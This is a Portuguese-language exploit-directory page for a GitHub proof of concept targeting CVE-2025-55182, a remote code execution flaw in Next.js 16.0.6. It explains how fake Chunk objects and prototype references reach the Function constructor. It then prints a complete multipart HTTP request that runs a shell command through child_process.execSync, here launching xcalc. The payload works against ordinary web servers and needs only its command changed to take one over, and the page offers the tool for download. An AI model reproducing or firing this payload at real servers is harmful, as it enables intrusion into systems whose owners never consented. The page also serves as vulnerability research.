Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-55182-RCE-Exploit — Mais focado em exploits; ótimo para repositórios de pesquisa de segurança. | Kitploit
Ferramentas/GitHubGitHub/orgito1015/cve-2025-55182-rce-exploit
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e EducaçãoDesenvolvimento de Payloads
GitHuborgito1015/cve-2025-55182-rce-exploit

CVE-2025-55182-RCE-Exploit

Mais focado em exploits; ótimo para repositórios de pesquisa de segurança.

Ver Repositório
8há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

POC para CVE-2025-55182 – Execução Remota de Código no Next.js 16.0.6

Este repositório contém uma prova de conceito (POC) funcional para CVE-2025-55182, uma vulnerabilidade crítica de desserialização que afeta o Next.js 16.0.6. O exploit abusa da desserialização de chunks $@ e de Chunk.prototype.then para obter controle total sobre o processo de resolução de chunks e alcançar execução arbitrária de código (RCE) no servidor.

Resumo da Vulnerabilidade

O Next.js usa objetos Chunk internos e um mecanismo de streaming/desserialização para ações do servidor. Ao abusar de $@ para desserializar uma referência a Chunk e injetar Chunk.prototype.then no objeto raiz, um atacante pode:

  • Forçar o Next.js a chamar then(...) com this controlado pelo atacante
  • Definir o status do chunk como resolved_model
  • Acionar initializeModelChunk com um chunk falso totalmente controlado pelo atacante
  • Abusar dos métodos chunk._response para alcançar comportamento interno perigoso

O objetivo final é acionar a desserialização de Blob, que executa uma chamada como:

response._formData.get(response._prefix)

Ao definir response._formData.get = Function e colocar código arbitrário em response._prefix, o atacante pode executar comandos arbitrários do sistema.

POC do Exploit

A requisição HTTP em poc/CVE-2025-55182.http demonstra o exploit contra o Next.js 16.0.6 executando localmente, iniciando xcalc via child_process.execSync:

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Estrutura do Repositório

/
├── README.md
├── DISCLAIMER.md
├── poc/
│   └── CVE-2025-55182.http
└── analysis/
    └── exploitation-notes.md

Aviso Legal

Este projeto é fornecido estritamente para fins educacionais e de pesquisa. NÃO use este exploit em qualquer sistema que você não possua ou para o qual não tenha permissão explícita por escrito para testar.

O autor não assume nenhuma responsabilidade por qualquer uso indevido ou dano causado.

Baixar ferramenta